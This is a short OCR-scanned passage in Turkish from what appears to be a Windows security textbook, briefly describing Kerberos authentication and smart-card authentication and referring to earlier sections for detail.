Kerberos MIT tarafindan ortaya atilmig daha sonra Windows tarafindan da kimlik dog-
rulama i¢in tercih edilmis bir metottur. Win2K ile baglayarak Microsoft Windows igletim
sisteminin biitiin siirlimleri i¢in genelde varsayilan olarak kullanilan kriptografik yontem-

ler iceren giivenilir bir kimlik dogrulama protokoliidiir. Béliim 1.1.4’te detaylandirilmigtar.
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J.3.5.5 Akilli Kart

Akilli kartlar veri gizliligi ve inkar edememezlik (non-repudiation) giivenlik ihtiyaglar: i¢in
kullanilmaktadir. Private ve public alanlar1 mevcuttur. Private alanda anahtar iiretimi,
imzalama ve sgifre ¢dzme iglemleri yapilir. Public alanda genel bilgiler yazilir. NTLM
kimlik dogrulamas: akilh kart kimlik dogrulamasini desteklememektedir. Boliim 1.1.5’te

detaylandirilmigtar.
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